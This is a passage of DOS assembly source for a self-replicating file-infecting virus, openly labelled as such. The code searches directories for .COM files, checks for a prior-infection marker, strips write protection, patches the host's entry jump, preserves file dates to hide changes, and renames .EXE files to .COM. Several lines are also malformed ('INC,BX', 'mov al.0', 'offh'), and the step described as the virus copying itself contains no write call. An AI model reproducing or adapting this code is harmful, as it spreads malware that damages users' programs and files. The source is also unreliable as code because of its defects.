;***************************************************

hups2:
     mov ah,0eh
     int 21h                    ;change disk

;***************************************************
;   Start in the root directory
;***************************************************

     mov ah,3bh                 ;change path
     lea dx,path
     int 21h
     jmp find_first_file

;**************************************************
;   Starting from the root, search for the first
;   subdir. FIrst convert all .EXE files to .COM
;   in the old directory
;**************************************************

find_first_subdir:
     mov ah,17h                 ;change .exe to .com
     lea dx,cs:maske_exe
     int 21h
     mov ah,3bh                 ;use root directory
     lea dx,path
     int 21h
     mov ah,04eh                ;search for first subdirectory
     mov cx,00010001b           ;dir mask
     lea dx,maske_dir           ;
     int 21h                    ;
     jc change_disk
     mov bx,CS:counter
     INC,BX
     DEC bx
     jz  use_next_subdir

;*************************************************
;   Search for the next subdirectory. If no more
;   directories are found, the drive will be changed.
;*************************************************

find_next_subdir:
     mov ah,4fh               ; search for next subdir
     int 21h
     jc change_disk
     dec bx
     jnz find_next_subdir

;*************************************************
;   Select found directory.
;**************************************************

use_next_subdir:
     mov ah,2fh               ;get dta address
     int 21h
     add bx,1ch
     mov es:[bx],'\`          ;address of name in dta
     inc bx
     push ds
     mov ax,es
     mov ds,ax
     mov dx,bx
     mov ah,3bh               ;change path
     int 21h
     pop ds
     mov bx,cs:counter
     inc bx
     mov CS:counter,bx

;**************************************************
;    Find first .COM file in the current directory.
;    If there are none, search the next directory.
;**************************************************

find_first_file:
     mov ah,04eh              ;Search for first
     mov cx,00000001b         ;mask
     lea dx,maske_com         ;
     int 21h                  ;
     jc find_first_subdir
     jmp check_if_ill

;**************************************************
;   If program is ill(infected) then search for
;   another other.
;**************************************************

find_next_file:
     mov ah,4fh               ;search for next
     int 21h
     jc find_first_subdir

;*************************************************
;   Check is already infected by virus.
;**************************************************

check_if_ill:
     mov ah,3dh              ;open channel
     mov al,02h              ;read/write
     mov dx,9eh              ;address of name in dta
     int 21
     mov bx,ax               ;save channel
     mov ah,3fh              ; read file
     mov ch,buflen           ;
     mov dx,buffer           ;write in buffer
     int 21h
     mov ah,3eh              ;close file
     int 21h

;***************************************************
;   This routine will search the three NOP's(no
;   operation).If present there is already an infection.
;   We must then continue the search
;****************************************************

    mov bx,cs:[buffer]
    cmp bx,9090h
    jz find_next_file

;***************************************************
;   This routine will BY PASS MS-DOS WRITE PROTECTION
;   if present. Very important !
;***************************************************

    mov ah,43h               ;write enable
    mov al,0
    mov dx,9eh               ;address of name in dta
    int 21h
    mov ah,43h
    mov al,01h
    and cx,11111110b
    int 21h

;****************************************************
;   Open file for read/write access.
;*****************************************************

    mov ah,3dh               ;open channel
    mov al,02h               ;read/write
    mov dx,9eh               ;address of name in dta
    int 21h

;****************************************************
;   Read date entry of program and save for future
;   use.
;****************************************************

   mov bx,ax                ;channel
   mov ah,57h               ;get date
   mov al.0
   int 21h
   push cx                  ;save date
   push dx

;****************************************************
;   The jump located at address 0100h of the program
;   will be saved for further use.
;*****************************************************

   mov dx,cs:[conta]        ;save old jmp
   mov cs:[jmpbuf],dx
   mov dx,cs:[buffer+1]     ;save new jump
   lea cx,cont-100h
   sub dx,cx
   mov cs:[conta],dx

;*****************************************************
;   The virus copies itself to the start of the file.
;*****************************************************

   mov ah,57h               ;write date
   mov al,1
   pop dx
   pop cx                   ;restore date
   int 21h

;*****************************************************
;   Close the file.
;*****************************************************

   mov ah,3eh               ;close file
   int 21h

;*****************************************************
;   Restore the old jump address. The virus saves at
;   address "conta" the jump which was at the start of
;   the host program.
;   This is done to preserve the executability of the
;   host program as much as possible.
;   After saving it still works with the jump address
;   contained in the virus. The jump address in the
;   virus differs from the jump address in memory.
;****************************************************

   mov dx,cs:[jmpbuf]       ;restore old jump
   mov cs:[conta],dx
hops:  nop
      call use_old

;****************************************************
;   Continue with the host program.
;****************************************************

cont    db 0e9h                ;make jump
conta   dw 0
       mov ah,00
       int 21h

;***************************************************
;   Reactivate the selected drive at the start of
;   the program.
;***************************************************

use_old:
       mov ah,0eh             ;use old drive
       mov dl,cs:drive
       int 21h

;***************************************************
;    Reactivate the selected path at the start of
;    the program.
;***************************************************

       mov ah,3bh             ;use old drive
       lea dx,old_path-1      ;get old path and backslash
       int 21h
       ret

search_order db 0ffh,1,0,2,3,0ffh,00,offh
pointer      dw   0000           ;pointer f. search order
counter      dw   0000           ;counter f. nth. search
disks        db    0             ;number of disks

maske_com    db "*.com",00       ;search for com files
maske_dir    db "*",00           ;search for dir's
maske_exe    db offh,0,0,0,0,0,00111111b
            db 0,"????????exe",0,0,0,0
            db 0,"????????com",0
maske_all    db offh,0,0,0,0,0,00111111b
            db 0,"???????????",0,0,0,0
            db 0,"????????com",0

buffer equ 0e00h                 ;a safe place

buflen equ 230h                  ;lenght of virus!!!!
                                ;carefull
                                ;if changing!!!!
jmpbuf equ buffer+buflen         ;a safe place for jmp
path  db "\",0                   ;first place
drive db 0                       ;actual drive
back_slash db "\"
old_path db 32 dup (?)           ;old path

code ends

end main

;[ END OF THIS VIRUS PROGRAM ]










Яндекс цитирования